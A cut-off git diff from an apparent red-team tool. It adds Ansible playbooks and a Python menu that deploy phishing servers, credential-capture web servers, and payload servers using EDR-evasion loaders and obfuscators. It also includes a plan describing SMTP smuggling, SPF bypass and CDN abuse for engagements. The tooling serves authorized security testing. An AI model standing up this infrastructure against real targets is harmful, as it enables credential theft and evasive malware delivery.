/tmp/$ENCRYPTED_NAME 2>/dev/null + systemctl reload nginx 2>/dev/null + " + fi + + # Execute command on redirector + ssh -i $SSH_KEY_PATH -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null "$REDIRECTOR_USER@$REDIRECTOR_IP" "$REMOTE_CMD" + + # Clean up local temp files + log "Cleaning up temporary files" + secure_delete $TEMP_DIR + + log "Payload sync completed successfully" +} + +# Run main function +main \ No newline at end of file diff --git a/modules/payload-server/payload_redirector.yml b/modules/payload-server/payload_redirector.yml new file mode 100644 index 0000000..256e4fe --- /dev/null +++ b/modules/payload-server/payload_redirector.yml @@ -0,0 +1,24 @@ +--- +# Payload Redirector Deployment Playbook +- name: Deploy payload redirector + hosts: localhost + gather_facts: false + connection: local + vars_files: + - vars.yaml + vars: + deployment_id: "{{ deployment_id | default('') }}" + payload_redirector_name: "{{ payload_redirector_name | default('pr-' + deployment_id) }}" + provider: "{{ provider | default('aws') }}" + + tasks: + - name: Deploy payload redirector based on provider + include_tasks: "../providers/{{ provider | upper }}/redirector.yml" + vars: + redirector_name: "{{ payload_redirector_name }}" + redirector_type: "payload" + redirector_subdomain: "{{ payload_subdomain | default('files') }}" + + - name: Configure payload redirector + include_tasks: "tasks/configure_payload_redirector.yml" + when: not skip_configuration | default(false) \ No newline at end of file diff --git a/modules/payload-server/payload_server.yml b/modules/payload-server/payload_server.yml new file mode 100644 index 0000000..363cd6c --- /dev/null +++ b/modules/payload-server/payload_server.yml @@ -0,0 +1,23 @@ +--- +# Payload Server Deployment Playbook +- name: Deploy payload server + hosts: localhost + gather_facts: false + connection: local + vars_files: + - vars.yaml + vars: + deployment_id: "{{ deployment_id | default('') }}" + payload_server_name: "{{ payload_server_name | default('ps-' + deployment_id) }}" + provider: "{{ provider | default('aws') }}" + + tasks: + - name: Deploy payload server based on provider + include_tasks: "../providers/{{ provider | upper }}/c2.yml" + vars: + c2_name: "{{ payload_server_name }}" + server_type: "payload" + + - name: Configure payload server + include_tasks: "tasks/configure_payload_server.yml" + when: not skip_configuration | default(false) \ No newline at end of file diff --git a/modules/payload-server/tasks/configure_payload_redirector.yml b/modules/payload-server/tasks/configure_payload_redirector.yml new file mode 100644 index 0000000..bc33673 --- /dev/null +++ b/modules/payload-server/tasks/configure_payload_redirector.yml @@ -0,0 +1,89 @@ +--- +# Configure payload redirector for hosting and delivering payloads + +- name: Install required packages + apt: + name: + - nginx + - certbot + - python3-certbot-nginx + state: present + update_cache: yes + +- name: Create payload directories + file: + path: "{{ item }}" + state: directory + mode: '0755' + owner: www-data + group: www-data + loop: + - /var/www/payloads + - /var/www/payloads/windows + - /var/www/payloads/linux + - /var/www/payloads/macos + - /var/www/payloads/docs + +- name: Configure NGINX for payload delivery + template: + src: "../templates/phishing/nginx-payload-redirector.j2" + dest: /etc/nginx/sites-available/payloads + mode: '0644' + +- name: Enable payload site + file: + src: /etc/nginx/sites-available/payloads + dest: /etc/nginx/sites-enabled/payloads + state: link + +- name: Create payload sync script + template: + src: "../templates/phishing/sync_payloads.sh.j2" + dest: /root/Tools/sync_payloads.sh + mode: '0700' + +- name: Set up payload sync timer + block: + - name: Create systemd service + copy: + content: | + [Unit] + Description=Payload Sync Service + After=network.target + + [Service] + Type=oneshot + ExecStart=/root/Tools/sync_payloads.sh + User=root + + [Install] + WantedBy=multi-user.target + dest: /etc/systemd/system/payload-sync.service + + - name: Create systemd timer + copy: + content: | + [Unit] + Description=Payload Sync Timer + Requires=payload-sync.service + + [Timer] + OnBootSec=5min + OnUnitActiveSec=15min + Persistent=true + + [Install] + WantedBy=timers.target + dest: /etc/systemd/system/payload-sync.timer + + - name: Enable and start timer + systemd: + name: payload-sync.timer + state: started + enabled: yes + daemon_reload: yes + +- name: Configure firewall rules + include_tasks: security_hardening.yml + vars: + server_role: "payload_redirector" \ No newline at end of file diff --git a/modules/payload-server/tasks/configure_payload_server.yml b/modules/payload-server/tasks/configure_payload_server.yml new file mode 100644 index 0000000..3a15aab --- /dev/null +++ b/modules/payload-server/tasks/configure_payload_server.yml @@ -0,0 +1,78 @@ +--- +# Configure payload server for creating and hosting malicious payloads + +- name: Install payload generation tools + apt: + name: + - mingw-w64 + - golang + - python3-pip + - upx-ucl + - osslsigncode + - mono-complete + - wine64 + - wine32 + state: present + update_cache: yes + +- name: Create payload directories + file: + path: "{{ item }}" + state: directory + mode: '0700' + owner: root + group: root + loop: + - /root/Tools/payloads + - /root/Tools/payloads/templates + - /root/Tools/payloads/output + - /root/Tools/payloads/scripts + +- name: Install Python payload tools + pip: + name: + - pycryptodome + - pyinstaller + - py2exe + state: present + +- name: Clone payload generation tools + git: + repo: "{{ item.repo }}" + dest: "{{ item.dest }}" + loop: + - { repo: "https://github.com/Binject/go-donut", dest: "/root/Tools/go-donut" } + - { repo: "https://github.com/optiv/ScareCrow", dest: "/root/Tools/ScareCrow" } + - { repo: "https://github.com/TheWover/donut", dest: "/root/Tools/donut" } + +- name: Build Go tools + shell: | + cd {{ item }} && go build + args: + creates: "{{ item }}/{{ item | basename }}" + loop: + - /root/Tools/go-donut + - /root/Tools/ScareCrow + +- name: Deploy payload generation scripts + template: + src: "{{ item.src }}" + dest: "{{ item.dest }}" + mode: '0700' + loop: + - { src: "../templates/phishing/generate_doc_payloads.sh.j2", dest: "/root/Tools/payloads/scripts/generate_docs.sh" } + - { src: "../templates/phishing/generate_exe_payloads.sh.j2", dest: "/root/Tools/payloads/scripts/generate_exes.sh" } + - { src: "../templates/phishing/payload_obfuscator.py.j2", dest: "/root/Tools/payloads/scripts/obfuscate.py" } + +- name: Create payload hosting service + template: + src: "../templates/phishing/payload-server.service.j2" + dest: /etc/systemd/system/payload-server.service + mode: '0644' + +- name: Start payload server + systemd: + name: payload-server + state: started + enabled: yes + daemon_reload: yes \ No newline at end of file diff --git a/modules/phishing/Plan.md b/modules/phishing/Plan.md new file mode 100644 index 0000000..4ca0ad4 --- /dev/null +++ b/modules/phishing/Plan.md @@ -0,0 +1,127 @@ +phishing/ +โ”œโ”€โ”€ deploy_phishing_infrastructure.yml *Created +โ”œโ”€โ”€ mta_front.yml *Created +โ”œโ”€โ”€ gophish_server.yml *Created +โ”œโ”€โ”€ phishing_redirector.yml *Created +โ”œโ”€โ”€ phishing_webserver.yml *Created +โ”œโ”€โ”€ payload_redirector.yml +โ”œโ”€โ”€ payload_server.yml +โ””โ”€โ”€ cleanup_phishing.yml + +tasks/ +โ”œโ”€โ”€ configure_mta_front.yml *Created +โ”œโ”€โ”€ configure_gophish_advanced.yml *Created +โ”œโ”€โ”€ configure_phishing_redirector.yml *Created +โ”œโ”€โ”€ configure_phishing_webserver.yml +โ”œโ”€โ”€ configure_payload_redirector.yml +โ”œโ”€โ”€ configure_payload_server.yml +โ””โ”€โ”€ setup_phishing_security.yml *Created + +templates/ +โ”œโ”€โ”€ phishing/ +โ”‚ โ”œโ”€โ”€ gophish-advanced-config.j2 +โ”‚ โ”œโ”€โ”€ postfix-mta-front.j2 +โ”‚ โ”œโ”€โ”€ nginx-phishing-redirector.j2 +โ”‚ โ”œโ”€โ”€ nginx-payload-redirector.j2 +โ”‚ โ”œโ”€โ”€ phishing-landing-page.j2 +โ”‚ โ”œโ”€โ”€ email-templates/ +โ”‚ โ”‚ โ”œโ”€โ”€ office365_login.j2 *Created +โ”‚ โ”‚ โ”œโ”€โ”€ password_expiry.j2 +โ”‚ โ”‚ โ”œโ”€โ”€ security_alert.j2 +โ”‚ โ”‚ โ””โ”€โ”€ file_share.j2 +โ”‚ โ””โ”€โ”€ fedramp-compliance.j2 +โ””โ”€โ”€ phishing_deployment_state.j2 + +I am looking to beef up my phishing portion of my tooland I want to make a stand alone option as well. I will be preforming both red team phishing engagements and fed ramp engagements. So the red team ones need to be more advanced and sophesticated with advanced evasion techniques etc like +SMTP smuggling aged domains MTA fronting Cloud service payload hosting CDN exploitation LOtL techniques SPF bypass methods File format manipulation +This will require more than one server +For fedramp style engagements I am not testing email security controls but only the users and I need to follow the strict guideline + The intent is to test user compliance, not email security. Emails should be allow-listed on all security systems and be presented to the user unflagged, unmodified, and unaltered in any way. 3PAOs will provide or approve email templates and landing pages used in testing. 3PAOs must either perform this attack vector themselves, or independently evaluate the effectiveness of a third party phishing campaign. Landing pages for CSP personnel who are victims of the phishing attack should immediately identify that the email was a phish, and provide supplemental information on how to identify phishing attacks in the future. The email campaign will consist of the following: +Email with username in body, Link to landing page, Ability to capture emails opened (hidden pixel), Landing page, Ability to tie landing page visits by user, Username and password capture, Ability to track user submission. FedRAMP requires that the 3PAO report back roles and/or metrics but not specific names. Lets keep with making this CSP agnostic as much as possible so AWS and linode can be used and other CSP as they are added to the framework. I would like everything to be as indepentent as possible so its all not running in one huge file or script and can be easily found and worked on and called to build stand alone servers or add to an existing server etc + +For red team engagements I want to be able to deploy my whole red team infra or exactly what I need like just a c2, redirector, payload server, phishing server, Domain fronting server or just payload server, phishing server, Domain fronting server etc. I want an option for red team phishing which deploys + +Below are deployment profiles + +Profile Name: Full Red Team Infra (All the Things) + +Servers: + + MTA Front | SMTP relay hides email backend + + Gophish Email Server | Phishing campaign controller (hidden) + + Phishing Redirector (CDN) | Hides phishing web server behind CDN + + Phishing Web Server | Credential capture backend + + Payload Redirector (CDN) | Hides malware delivery server behind CDN + + Payload Server | Malware hosting backend + + C2 Redirector (CDN) | Hides Havoc/Cobalt backend behind CDN + + C2 Backend | Command & control server (hidden) + +Profile Name: Full Red Team Infra (No CDN Abuse) + +Servers: + + MTA Front | SMTP relay hides email backend + + Gophish Email Server | Phishing campaign controller (hidden) + + Phishing Redirector (VPS) | Nginx/socat hides phishing web server + + Phishing Web Server | Credential capture backend + + Payload Redirector (VPS) | Nginx/socat hides malware delivery server + + Payload Server | Malware hosting backend + + C2 Redirector (VPS) | Nginx/socat hides C2 backend + + C2 Backend | Command & control server (hidden) + +Profile Name: Phishing Infra (Credential Harvesting Only) + +Servers: + + MTA Front (optional) | SMTP relay hides email backend (optional) + + Gophish Email Server | Phishing campaign controller + + Phishing Redirector (CDN or VPS) | Hides phishing web server + + Phishing Web Server | Credential capture backend + +Profile Name: Phishing Infra (Credential Harvesting Only, No CDN) + +Servers: + + MTA Front (optional) | SMTP relay hides email backend (optional) + + Gophish Email Server | Phishing campaign controller + + Phishing Redirector (VPS) | Nginx/socat hides phishing web server + + Phishing Web Server | Credential capture backend + +Profile Name: Whitelisted Phishing Infra (User Awareness Testing) + +Servers: + + Gophish Email Server | Sends phishing campaigns directly + + Phishing Web Server | Fake login or failure landing page + +this needs to also set up firewall rules or security groups to ensure least privilege. I need only the MTA fronting or redirectors accessible to anyone. The main phishing server should only allow the operator to connect and then the main phishing server should be able to access the MTA, Webserver and payload server etc. We need to ensure that things are fully secure. This should be added to the main menu under the phishing server option 9 with sub menus for the different deployment options. This needs to be deployable in any provider so make as much of it provider agnositic. use existing playbooks if it make sense like security hardening etc. I also want this to have the tracker setup as well on any deployment. Make sure to consider the way the tool is built. I want minimal stuff in the deploy.py. As much as possible should be handled with tasks templates and scripts + + +NOTES: + +- I think I need to remove all the security group stuff to the security_hardening yaml +- I dont think I need a tracker on the webserver yaml +- setup_phishing_security.yml seems redundant and AWS only focused +- +- \ No newline at end of file diff --git a/modules/phishing/cleanup_phishing.yml b/modules/phishing/cleanup_phishing.yml new file mode 100644 index 0000000..8092c27 --- /dev/null +++ b/modules/phishing/cleanup_phishing.yml @@ -0,0 +1,59 @@ +--- +# Phishing Infrastructure Cleanup Playbook +- name: Clean up phishing infrastructure + hosts: localhost + gather_facts: false + connection: local + vars_files: + - vars.yaml + vars: + deployment_id: "{{ deployment_id | default('') }}" + confirm_cleanup: "{{ confirm_cleanup | default(true) }}" + + tasks: + - name: Load deployment state + include_vars: + file: "phishing_deployment_state_{{ deployment_id }}.json" + register: deployment_state + ignore_errors: yes + + - name: Show cleanup information + debug: + msg: | + ************************************************ + * PHISHING CLEANUP OPERATION * + ************************************************ + The following resources will be DELETED PERMANENTLY: + - MTA Front: {{ mta_front_name | default('mta-' + deployment_id) }} + - GoPhish Server: {{ gophish_server_name | default('gp-' + deployment_id) }} + - Phishing Web Server: {{ phishing_web_name | default('pw-' + deployment_id) }} + - Phishing Redirector: {{ phishing_redirector_name | default('phr-' + deployment_id) }} + {% if cleanup_payload_infra | default(false) %} + - Payload Server: {{ payload_server_name | default('ps-' + deployment_id) }} + - Payload Redirector: {{ payload_redirector_name | default('pr-' + deployment_id) }} + {% endif %} + when: confirm_cleanup | bool + + - name: Confirm cleanup operation + pause: + prompt: "\n>>> Type 'yes' to confirm deletion or press Ctrl+C to abort <<<" + register: confirmation + when: confirm_cleanup | bool + + - name: Skip cleanup if not confirmed + meta: end_play + when: confirm_cleanup | bool and confirmation.user_input != 'yes' + + - name: Run provider-specific cleanup + include_tasks: "../{{ provider | upper }}/cleanup.yml" + vars: + cleanup_redirector: true + cleanup_c2: true + cleanup_tracker: false + redirector_name: "{{ phishing_redirector_name }}" + c2_name: "{{ gophish_server_name }}" + + - name: Remove deployment state file + file: + path: "phishing_deployment_state_{{ deployment_id }}.json" + state: absent \ No newline at end of file diff --git a/modules/phishing/deploy_phishing.py b/modules/phishing/deploy_phishing.py new file mode 100644 index 0000000..9e44afc --- /dev/null +++ b/modules/phishing/deploy_phishing.py @@ -0,0 +1,546 @@ +#!/usr/bin/env python3 +""" +Phishing infrastructure deployment module +""" + +import os +import sys +import logging + +# Add the project root to the path so we can import utils +sys.path.append(os.path.join(os.path.dirname(__file__), '..', '..')) + +from utils.common import ( + COLORS, clear_screen, print_banner, generate_deployment_id, + setup_logging, get_public_ip, confirm_action, wait_for_input, + archive_old_logs +) +from utils.provider_utils import select_provider, gather_provider_config +from utils.ssh_utils import generate_ssh_key +from utils.naming_utils import get_deployment_name_with_options + +def gather_phishing_parameters(): + """Collect parameters specific to phishing deployments""" + clear_screen() + print_banner() + print(f"{COLORS['WHITE']}PHISHING INFRASTRUCTURE SETUP{COLORS['RESET']}") + print(f"{COLORS['WHITE']}=============================={COLORS['RESET']}") + + config = {} + + # Generate deployment ID + config['deployment_id'] = generate_deployment_id() + print(f"Deployment ID: {COLORS['CYAN']}{config['deployment_id']}{COLORS['RESET']}") + + # Provider selection + provider = select_provider() + if not provider: + return None + config['provider'] = provider + + # Get provider-specific configuration + provider_config = gather_provider_config(provider) + if not provider_config: + return None + config.update(provider_config) + + # Phishing-specific configuration + print(f"\n{COLORS['BLUE']}Phishing Configuration{COLORS['RESET']}") + + # Domain configuration + phishing_domain = input(f"Phishing domain (aged domain recommended) [required]: ") + if not phishing_domain: + print(f"{COLORS['RED']}A domain is required for phishing deployments{COLORS['RESET']}") + return None + + # Set all domain variables for compatibility + config['phishing_domain'] = phishing_domain + config['primary_domain'] = phishing_domain # For compatibility with existing playbooks + config['domain'] = phishing_domain # For compatibility + + # Subdomain configuration + config['mta_hostname'] = input(f"MTA hostname [default: mail.{phishing_domain}]: ") or f"mail.{phishing_domain}" + config['phishing_hostname'] = input(f"Phishing hostname [default: portal.{phishing_domain}]: ") or f"portal.{phishing_domain}" + + # Instance naming + print(f"\n{COLORS['BLUE']}Instance Naming{COLORS['RESET']}") + + # MTA Front naming + config['mta_name'] = get_deployment_name_with_options( + deployment_type='phishing', + component_type='MTA Front Server', + default_suffix='mta' + ) + + # GoPhish server naming + config['gophish_name'] = get_deployment_name_with_options( + deployment_type='phishing', + component_type='GoPhish Server', + default_suffix='gophish' + ) + + # Phishing redirector naming + config['phishing_redirector_name'] = get_deployment_name_with_options( + deployment_type='phishing', + component_type='Phishing Redirector', + default_suffix='redirector' + ) + + # Phishing webserver naming + config['phishing_webserver_name'] = get_deployment_name_with_options( + deployment_type='phishing', + component_type='Phishing Webserver', + default_suffix='webserver' + ) + + # MTA Authentication + config['smtp_auth_user'] = input("SMTP auth username [default: admin]: ") or "admin" + config['smtp_auth_pass'] = input("SMTP auth password [default: random]: ") or None + + # GoPhish configuration + config['gophish_admin_port'] = input("GoPhish admin port [default: 8090]: ") or "8090" + + # Campaign configuration + config['campaign_name'] = input("Campaign name [default: test-campaign]: ") or "test-campaign" + config['sender_name'] = input("Sender display name [default: IT Support]: ") or "IT Support" + config['sender_email'] = f"noreply@{config['phishing_domain']}" + + # Template selection + print(f"\n{COLORS['BLUE']}Email Template Selection:{COLORS['RESET']}") + print(f"1) Office 365 Login") + print(f"2) Password Expiration") + print(f"3) Security Alert") + print(f"4) File Share Notification") + print(f"5) Custom Template") + + template_choice = input("Select template [default: 1]: ") or "1" + templates = { + "1": "office365_login", + "2": "password_expiry", + "3": "security_alert", + "4": "file_share", + "5": "custom" + } + config['email_template'] = templates.get(template_choice, "office365_login") + + # If custom template, get details + if config['email_template'] == 'custom': + config['custom_template_name'] = input("Custom template name: ") + config['custom_subject'] = input("Email subject line: ") + config['custom_sender'] = input("Sender email/name: ") + + # Security settings + print(f"\n{COLORS['BLUE']}Security Settings:{COLORS['RESET']}") + config['enable_credential_harvesting'] = confirm_action("Enable credential harvesting?", default=True) + config['enable_attachment_tracking'] = confirm_action("Enable attachment tracking?", default=True) + config['enable_link_tracking'] = confirm_action("Enable link click tracking?", default=True) + + # Email for Let's Encrypt + default_email = f"admin@{config['phishing_domain']}" + config['letsencrypt_email'] = input(f"Email for Let's Encrypt [default: {default_email}]: ") or default_email + + # Get operator IP for security + suggested_ip = get_public_ip() + if suggested_ip: + operator_ip = input(f"Your public IP for admin access [detected: {suggested_ip}]: ") or suggested_ip + else: + operator_ip = input("Your public IP for admin access: ") + config['operator_ip'] = operator_ip + + # SSH key generation + ssh_key_path = generate_ssh_key(config['deployment_id']) + if not ssh_key_path: + print(f"{COLORS['RED']}Failed to generate SSH key{COLORS['RESET']}") + return None + config['ssh_key_path'] = f"{ssh_key_path}.pub" + + # Post-deployment options + config['ssh_after_deploy'] = confirm_action("SSH into instance after deployment?", default=True) + config['open_admin_panel'] = confirm_action("Open GoPhish admin panel after deployment?", default=True) + + return config + +def phishing_menu(): + """Display the phishing submenu and handle user selection""" + while True: + clear_screen() + print_banner() + print(f"{COLORS['WHITE']}PHISHING INFRASTRUCTURE MENU{COLORS['RESET']}") + print(f"{COLORS['WHITE']}============================{COLORS['RESET']}") + print(f"1) Basic Phishing Setup {COLORS['GREEN']}*RECOMMENDED*{COLORS['RESET']} {COLORS['GRAY']}(MTA + GoPhish){COLORS['RESET']}") + print(f"2) GoPhish Server Only {COLORS['GRAY']}(Campaign management only){COLORS['RESET']}") + print(f"3) Phishing Web Server Only {COLORS['GRAY']}(Landing pages only){COLORS['RESET']}") + print(f"4) MTA Front Server Only {COLORS['GRAY']}(Email sending only){COLORS['RESET']}") + print(f"5) Advanced Phishing Setup {COLORS['GRAY']}(MTA + GoPhish + Redirector){COLORS['RESET']}") + print(f"6) Phishing Redirector Only {COLORS['GRAY']}(Traffic redirection only){COLORS['RESET']}") + print(f"7) Ephemeral MTA Setup {COLORS['GRAY']}(Temporary email infrastructure){COLORS['RESET']}") + print(f"8) Full Phishing Infrastructure {COLORS['GRAY']}(Complete multi-tier setup){COLORS['RESET']}") + print(f"9) FedRAMP Compliant Phishing {COLORS['GRAY']}(Compliance-focused setup){COLORS['RESET']}") + print(f"99) Return to Main Menu") + + choice = input(f"\nSelect an option: ") + + if choice == "1": + deploy_basic_phishing() + elif choice == "2": + deploy_gophish_only() + elif choice == "3": + deploy_phishing_webserver_only() + elif choice == "4": + deploy_mta_front_only() + elif choice == "5": + deploy_advanced_phishing() + elif choice == "6": + deploy_phishing_redirector_only() + elif choice == "7": + deploy_ephemeral_mta() + elif choice == "8": + deploy_full_phishing() + elif choice == "9": + deploy_fedramp_phishing() + elif choice == "99": + return + else: + print(f"\n{COLORS['RED']}Invalid option. Please try again.{COLORS['RESET']}") + wait_for_input() + +def deploy_gophish_only(): + """Deploy GoPhish server only""" + config = gather_phishing_parameters() + if not config: + return + + config['deployment_type'] = 'gophish_only' + config['deploy_gophish'] = True + + print(f"\n{COLORS['GREEN']}Deploying GoPhish server only...{COLORS['RESET']}") + execute_phishing_deployment(config) + +def deploy_mta_front_only(): + """Deploy MTA front server only""" + config = gather_phishing_parameters() + if not config: + return + + config['deployment_type'] = 'mta_front_only' + config['deploy_mta_front'] = True + + print(f"\n{COLORS['GREEN']}Deploying MTA front server only...{COLORS['RESET']}") + execute_phishing_deployment(config) + +def deploy_phishing_webserver_only(): + """Deploy phishing web server only""" + config = gather_phishing_parameters() + if not config: + return + + config['deployment_type'] = 'phishing_webserver_only' + config['deploy_phishing_webserver'] = True + + print(f"\n{COLORS['GREEN']}Deploying phishing web server only...{COLORS['RESET']}") + execute_phishing_deployment(config) + +def deploy_phishing_redirector_only(): + """Deploy phishing redirector only""" + config = gather_phishing_parameters() + if not config: + return + + config['deployment_type'] = 'phishing_redirector_only' + config['deploy_phishing_redirector'] = True + + print(f"\n{COLORS['GREEN']}Deploying phishing redirector only...{COLORS['RESET']}") + execute_phishing_deployment(config) + +def deploy_basic_phishing(): + """Deploy basic phishing setup (MTA + GoPhish)""" + config = gather_phishing_parameters() + if not config: + return + + config['deployment_type'] = 'basic_phishing' + config['deploy_mta_front'] = True + config['deploy_gophish'] = True + + print(f"\n{COLORS['GREEN']}Deploying basic phishing infrastructure...{COLORS['RESET']}") + execute_phishing_deployment(config) + +def deploy_advanced_phishing(): + """Deploy advanced phishing setup (MTA + GoPhish + Redirector)""" + config = gather_phishing_parameters() + if not config: + return + + config['deployment_type'] = 'advanced_phishing' + config['deploy_mta_front'] = True + config['deploy_gophish'] = True + config['deploy_phishing_redirector'] = True + + print(f"\n{COLORS['GREEN']}Deploying advanced phishing infrastructure...{COLORS['RESET']}") + execute_phishing_deployment(config) + +def deploy_full_phishing(): + """Deploy full phishing infrastructure""" + config = gather_phishing_parameters() + if not config: + return + + config['deployment_type'] = 'full_phishing' + config['deploy_mta_front'] = True + config['deploy_gophish'] = True + config['deploy_phishing_redirector'] = True + config['deploy_phishing_webserver'] = True + config['deploy_tracker'] = True + + print(f"\n{COLORS['GREEN']}Deploying full phishing infrastructure...{COLORS['RESET']}") + execute_phishing_deployment(config) + +def deploy_fedramp_phishing(): + """Deploy FedRAMP compliant phishing infrastructure""" + config = gather_phishing_parameters() + if not config: + return + + # FedRAMP specific configuration + clear_screen() + print_banner() + print(f"{COLORS['WHITE']}FEDRAMP COMPLIANCE CONFIGURATION{COLORS['RESET']}") + print(f"{COLORS['WHITE']}==================================={COLORS['RESET']}") + + # Compliance requirements + print(f"\n{COLORS['BLUE']}FedRAMP Compliance Requirements:{COLORS['RESET']}") + print(f"โ€ข Immediate disclosure of phishing attempts") + print(f"โ€ข Comprehensive audit logging") + print(f"โ€ข Compliance notification requirements") + print(f"โ€ข Mandatory log retention") + + # Immediate disclosure (required for FedRAMP) + config['immediate_disclosure'] = True + print(f"\n{COLORS['YELLOW']}Immediate disclosure is REQUIRED for FedRAMP compliance{COLORS['RESET']}") + + # Authorization reference for documentation + auth_reference = input(f"Authorization reference/ticket number [optional]: ") or "Pre-authorized FedRAMP exercise" + config['authorization_reference'] = auth_reference + + # Log retention period + retention_days = input(f"Log retention period in days [default: 90]: ") or "90" + try: + config['log_retention_days'] = int(retention_days) + except ValueError: + config['log_retention_days'] = 90 + + # Audit logging level + print(f"\n{COLORS['BLUE']}Audit Logging Level:{COLORS['RESET']}") + print(f"1) Basic (Login attempts, email sends)") + print(f"2) Detailed (+ IP addresses, user agents)") + print(f"3) Comprehensive (+ full request logs)") + + log_level = input(f"Select logging level [default: 3]: ") or "3" + log_levels = {"1": "basic", "2": "detailed", "3": "comprehensive"} + config['audit_log_level'] = log_levels.get(log_level, "comprehensive") + + # Compliance mode settings + config['fedramp_mode'] = True + config['compliance_mode'] = True + config['deployment_type'] = 'fedramp_phishing' + config['deploy_gophish'] = True + config['deploy_phishing_webserver'] = True + config['deploy_tracker'] = True + config['enable_audit_logging'] = True + + # Debug options + config['debug_mode'] = confirm_action("Enable debug mode (extra verbose Ansible output)?", default=True) + + print(f"\n{COLORS['GREEN']}Deploying FedRAMP compliant phishing infrastructure...{COLORS['RESET']}") + execute_phishing_deployment(config) + +def deploy_ephemeral_mta(): + """Deploy ephemeral MTA for high OPSEC phishing""" + config = gather_phishing_parameters() + if not config: + return + + # Additional ephemeral MTA configuration + print(f"\n{COLORS['BLUE']}Ephemeral MTA Configuration{COLORS['RESET']}") + print(f"{COLORS['YELLOW']}Note: Ephemeral MTAs are designed for short-term use{COLORS['RESET']}") + + config['deployment_type'] = 'ephemeral_mta' + config['ephemeral_mta'] = True + config['deploy_mta_front'] = True + + # Auto-destruct timer + auto_destruct = confirm_action("Enable auto-destruct timer?", default=False) + if auto_destruct: + hours = input("Auto-destruct after how many hours [default: 24]: ") or "24" + config['auto_destruct_hours'] = int(hours) + + print(f"\n{COLORS['GREEN']}Deploying ephemeral MTA...{COLORS['RESET']}") + execute_phishing_deployment(config) + +def execute_phishing_deployment(config): + """Execute phishing infrastructure deployment""" + clear_screen() + print_banner() + print(f"\n{COLORS['GREEN']}Starting phishing deployment...{COLORS['RESET']}") + + # Archive old logs before starting new deployment + print(f"Archiving old logs...") + archive_old_logs(max_logs_to_keep=5) # Keep last 5 deployments + + # Set up logging + log_file = setup_logging(config['deployment_id'], "phishing_deployment") + + # Display configuration summary + print(f"\n{COLORS['CYAN']}Deployment Summary:{COLORS['RESET']}") + print(f"Deployment Type: {config['deployment_type']}") + print(f"Deployment ID: {config['deployment_id']}") + print(f"Provider: {config['provider']}") + print(f"Domain: {config['phishing_domain']}") + print(f"Email Template: {config.get('email_template', 'N/A')}") + print(f"MTA Hostname: {config.get('mta_hostname', 'N/A')}") + if config.get('fedramp_mode'): + print(f"FedRAMP Mode: {COLORS['YELLOW']}ENABLED{COLORS['RESET']}") + print(f"Authorization Reference: {config.get('authorization_reference', 'N/A')}") + print(f"Audit Level: {config.get('audit_log_level', 'N/A')}") + + # Confirm deployment + if not confirm_action(f"\n{COLORS['YELLOW']}Proceed with phishing deployment?{COLORS['RESET']}", default=False): + print(f"\n{COLORS['YELLOW']}Deployment cancelled.{COLORS['RESET']}") + return + + # Mark this as a phishing deployment for the deployment engine + config['phishing_deployment'] = True + + # Execute the actual deployment using component-based approach + success = execute_component_deployment(config) + + if success: + print(f"\n{COLORS['GREEN']}โœ… Phishing infrastructure deployed successfully!{COLORS['RESET']}") + + if config.get('ssh_after_deploy'): + from utils.ssh_utils import ssh_to_instance + ssh_to_instance(config) + else: + print(f"\n{COLORS['RED']}โŒ Phishing infrastructure deployment failed.{COLORS['RESET']}") + + wait_for_input() + +def execute_component_deployment(config): + """Execute component-based phishing deployment""" + import subprocess + import os + + print(f"\n{COLORS['BLUE']}Executing phishing deployment: {config['deployment_type']}{COLORS['RESET']}") + + # Provider directory mapping + provider_dirs = { + "aws": "AWS", + "linode": "Linode", + "flokinet": "FlokiNET" + } + + # Component playbook mapping + component_playbooks = { + 'deploy_mta_front': os.path.join(os.path.dirname(__file__), 'mta_front.yml'), + 'deploy_gophish': os.path.join(os.path.dirname(__file__), '..', '..', 'providers', provider_dirs[config['provider']], 'c2.yml'), + 'deploy_phishing_redirector': os.path.join(os.path.dirname(__file__), '..', '..', 'providers', provider_dirs[config['provider']], 'redirector.yml'), + 'deploy_phishing_webserver': os.path.join(os.path.dirname(__file__), 'phishing_webserver.yml'), + } + + # Build extra vars for ansible as JSON (safe for special chars) + import json as _json + import tempfile as _tempfile + extra_vars_dict = {} + for key, value in config.items(): + if isinstance(value, (str, int, bool)): + extra_vars_dict[key] = value + + deployed_components = [] + + try: + # Deploy each enabled component + for component, playbook_path in component_playbooks.items(): + if config.get(component, False): + print(f"\n{COLORS['YELLOW']}Deploying {component.replace('deploy_', '')}...{COLORS['RESET']}") + + # Check if playbook exists + if not os.path.exists(playbook_path): + print(f"{COLORS['RED']}Error: Playbook not found: {playbook_path}{COLORS['RESET']}") + continue + + # Write vars to temp file (avoids CLI exposure) + _vars_file = _tempfile.NamedTemporaryFile( + mode='w', suffix='.json', prefix='phish_vars_', + delete=False + ) + _json.dump(extra_vars_dict, _vars_file) + _vars_file.close() + os.chmod(_vars_file.name, 0o600) + + # Build ansible command + cmd = [ + 'ansible-playbook', + playbook_path, + '--extra-vars', + f'@{_vars_file.name}' + ] + + print(f"{COLORS['GRAY']}Running: ansible-playbook {os.path.basename(playbook_path)}{COLORS['RESET']}") + + # Execute playbook + result = subprocess.run(cmd, capture_output=True, text=True, cwd=os.path.dirname(__file__)) + + # Clean up temp vars file + try: + os.unlink(_vars_file.name) + except OSError: + pass + + if result.returncode == 0: + print(f"{COLORS['GREEN']}โœ… {component.replace('deploy_', '')} deployed successfully{COLORS['RESET']}") + deployed_components.append(component) + else: + print(f"{COLORS['RED']}โŒ {component.replace('deploy_', '')} deployment failed{COLORS['RESET']}") + print(f"{COLORS['RED']}STDERR: {result.stderr}{COLORS['RESET']}") + return False + + # Deploy the orchestration playbook to save state + print(f"\n{COLORS['YELLOW']}Saving deployment state...{COLORS['RESET']}") + orchestration_playbook = os.path.join(os.path.dirname(__file__), 'deploy_phishing_infrastructure.yml') + + _orch_vars_file = _tempfile.NamedTemporaryFile( + mode='w', suffix='.json', prefix='phish_orch_', + delete=False + ) + _json.dump(extra_vars_dict, _orch_vars_file) + _orch_vars_file.close() + os.chmod(_orch_vars_file.name, 0o600) + + cmd = [ + 'ansible-playbook', + orchestration_playbook, + '--extra-vars', + f'@{_orch_vars_file.name}' + ] + + result = subprocess.run(cmd, capture_output=True, text=True, cwd=os.path.dirname(__file__)) + + try: + os.unlink(_orch_vars_file.name) + except OSError: + pass + + if result.returncode == 0: + print(f"{COLORS['GREEN']}โœ… Deployment state saved{COLORS['RESET']}") + return True + else: + 